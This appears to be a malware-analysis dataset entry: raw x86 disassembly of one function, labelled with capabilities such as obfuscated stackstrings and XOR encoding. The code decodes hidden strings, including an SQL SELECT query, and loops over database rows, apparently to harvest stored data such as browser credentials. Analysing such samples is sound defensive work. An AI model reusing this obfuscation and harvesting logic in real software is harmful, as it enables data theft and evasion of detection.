Function at 0x4154b8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x180
push ebx
push ebp
push esi
push edi
mov edi, edx
mov dword [esp + 0xe4], ecx
call fcn.00419db5
mov esi, eax
test esi, esi
je 0x415a6d
xor ebx, ebx
mov dword [esp + 0x20], 0xba958ac3
mov dword [esp + 0x24], 0x8d898985
mov ecx, ebx
mov dword [esp + 0x28], 0xc895838f
mov dword [esp + 0x2c], 0x8f8a9795
mov word [esp + 0x30], 0x8392
mov al, byte [esp + ecx + 0x20]
xor al, 0xe6
movzx eax, al
mov word [esp + ecx*2 + 0x118], ax
inc ecx
cmp ecx, 0x12
jl 0x415505
xor eax, eax
mov word [esp + 0x13c], ax
lea eax, [esp + 0x118]
push edi
push eax
call fcn.0041b96a
mov edi, eax
mov dword [esp + 0xd4], edi
pop ecx
pop ecx
test edi, edi
je 0x415a6d
mov ecx, edi
call fcn.0041b9c4
mov ebp, eax
test ebp, ebp
je 0x415a66
xor edx, edx
mov ecx, ebp
call fcn.0041bc30
mov dword [esp + 0xe8], eax
test eax, eax
je 0x415a4f
push ebx
push 1
lea ecx, [esp + 0xd8]
push ecx
push eax
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x415a37
mov dword [esp + 0x34], 0x424c4724
mov ecx, ebx
mov dword [esp + 0x38], 0x414345fe
mov dword [esp + 0x3c], 0x41fe4d49
mov dword [esp + 0x40], 0x47494d4d
mov dword [esp + 0x44], 0x42fe5143
mov dword [esp + 0x48], 0x4a03fe40
mov word [esp + 0x4c], 0xe851
mov al, byte [esp + ecx + 0x34]
add al, 0x22
mov byte [esp + ecx + 0xfc], al
inc ecx
cmp ecx, 0x1a
jl 0x4155c3
mov byte [esp + 0x116], bl
mov ecx, ebx
mov dword [esp + 0x78], 0x5158515f
mov dword [esp + 0x7c], 0x742c604f
mov dword [esp + 0x80], 0x38807f7b
mov dword [esp + 0x84], 0x547f752c
mov dword [esp + 0x88], 0x5b7c8080
mov dword [esp + 0x8c], 0x3885787a
mov dword [esp + 0x90], 0x806d7c2c
mov dword [esp + 0x94], 0x752c3874
mov dword [esp + 0x98], 0x6f715f7f
mov dword [esp + 0x9c], 0x38717e81
mov dword [esp + 0xa0], 0x7c84712c
mov dword [esp + 0xa4], 0x38857e75
mov dword [esp + 0xa8], 0x796d7a2c
mov dword [esp + 0xac], 0x822c3871
mov dword [esp + 0xb0], 0x7181786d
mov dword [esp + 0xb4], 0x5b5e522c
mov dword [esp + 0xb8], 0x7b792c59
mov dword [esp + 0xbc], 0x7b6f6b86
mov dword [esp + 0xc0], 0x7175777b
mov byte [esp + 0xc4], 0x7f
mov al, byte [esp + ecx + 0x78]
sub al, 0xc
mov byte [esp + ecx + 0x140], al
inc ecx
cmp ecx, 0x4d
jl 0x4156b2
lea eax, [esp + 0xfc]
mov byte [esp + 0x18d], bl
push edi
push eax
call fcn.00412606
push ebx
lea eax, [esp + 0x20]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x154]
push eax
push dword [esp + 0xe8]
call dword [esi + 8]
add esp, 0x1c
test eax, eax
jne 0x415a2f
push dword [esp + 0x14]
lea edi, [esp + 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x415988
mov dword [esp + 0x58], 0xeaedebb6
mov word [esp + 0x5c], 0xb6fa
mov dword [esp + 0x68], 0xaba0a568
mov word [esp + 0x6c], 0xa4b2
mov byte [esp + 0x6e], 0x68
mov dword [esp + 0x60], 0xc8cfc994
mov word [esp + 0x64], 0x94d8
mov dword [esp + 0x70], 0x212c2b64
mov word [esp + 0x74], 0x283e
mov byte [esp + 0x76], al
mov word [esp + 0x50], 0x9592
mov ecx, ebx
mov al, byte [esp + ecx + 0x58]
xor al, 0xbf
mov byte [esp + ecx + 0xd4], al
inc ecx
cmp ecx, 6
jl 0x415765
mov byte [esp + 0xda], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x68]
sub al, 0x5f
mov byte [esp + ecx + 0xec], al
inc ecx
cmp ecx, 7
jl 0x415781
mov byte [esp + 0xf3], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x60]
xor al, 0x9d
mov byte [esp + ecx + 0xdc], al
inc ecx
cmp ecx, 6
jl 0x41579d
mov byte [esp + 0xe2], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x70]
xor al, 0x6d
mov byte [esp + ecx + 0xf4], al
inc ecx
cmp ecx, 7
jl 0x4157b9
mov byte [esp + 0xfb], bl
mov ecx, ebx
mov word [esp + 0x18], 9
mov word [esp + 0x1c], 9
mov al, byte [esp + ecx + 0x50]
xor al, 0x9f
mov byte [esp + ecx + 0x54], al
inc ecx
cmp ecx, 2
jl 0x4157e3
push ebx
push dword [esp + 0x18]
mov byte [esp + 0x5e], bl
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x24]
call fcn.0041bc08
pop ecx
push 1
push dword [esp + 0x18]
call dword [esi + 0x10]
pop ecx
pop ecx
test eax, eax
je 0x415837
cmp byte [eax], 0x31
jne 0x415837
lea edi, [esp + 0xd4]
mov eax, edi
jmp 0x415840
lea edi, [esp + 0xec]
mov eax, edi
push eax
call fcn.00405b40
mov edx, edi
lea edi, [esp + 0x24]
pop ecx
push eax
mov ecx, edi
call fcn.0041baad
pop ecx
push 2
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
mov ecx, edi
call fcn.0041bc08
pop ecx
push 3
push dword [esp + 0x18]
call dword [esi + 0x10]
pop ecx
pop ecx
test eax, eax
je 0x41589b
cmp byte [eax], 0x31
jne 0x41589b
lea eax, [esp + 0xdc]
mov dword [esp + 0xc8], eax
jmp 0x4158a9
lea eax, [esp + 0xf4]
mov dword [esp + 0xc8], eax
push eax
call fcn.00405b40
mov edx, dword [esp + 0xcc]
pop ecx
push eax
mov ecx, edi
call fcn.0041baad
pop ecx
push 4
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 4
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x24]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x18]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x24]
call fcn.0041baad
pop ecx
push 5
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 5
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x24]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x1c]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x20]
lea ecx, [esp + 0x24]
call fcn.0041baad
pop ecx
push 6
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 6
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x24]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x54]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x58]
lea ecx, [esp + 0x24]
call fcn.0041baad
pop ecx
push dword [esp + 0x14]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x415763
cmp dword [esp + 0x20], ebx
je 0x415a28
mov dword [esp + 0x34], 0x9b9f9f73
mov dword [esp + 0x38], 0x5fa39599
mov dword [esp + 0x3c], 0x8fa39c55
mov dword [esp + 0x40], 0x5ea39c55
mov word [esp + 0x44], 0xa8a4
mov byte [esp + 0x46], 0xa4
movzx eax, byte [esp + ebx + 0x34]
mov ecx, 0xff
sub ax, 0x30
and ax, cx
mov word [esp + ebx*2 + 0x78], ax
inc ebx
cmp ebx, 0x13
jl 0x4159be
push dword [esp + 0x194]
xor eax, eax
push dword [esp + 0xe8]
mov word [esp + 0xa6], ax
lea eax, [esp + 0x80]
push eax
call fcn.0041b96a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x415a1e
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x20]
push edi
call fcn.00418de4
pop ecx
push edi
call fcn.004056f0
pop ecx
push dword [esp + 0x20]
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0xcc]
push dword [esp + 0x14]
call dword [esi + 0x18]
pop ecx
push dword [esp + 0xd0]
call dword [esi + 0x1c]
pop ecx
push dword [esp + 0xe8]
call fcn.004056f0
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call fcn.00412cbc
call eax
push ebp
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x180
ret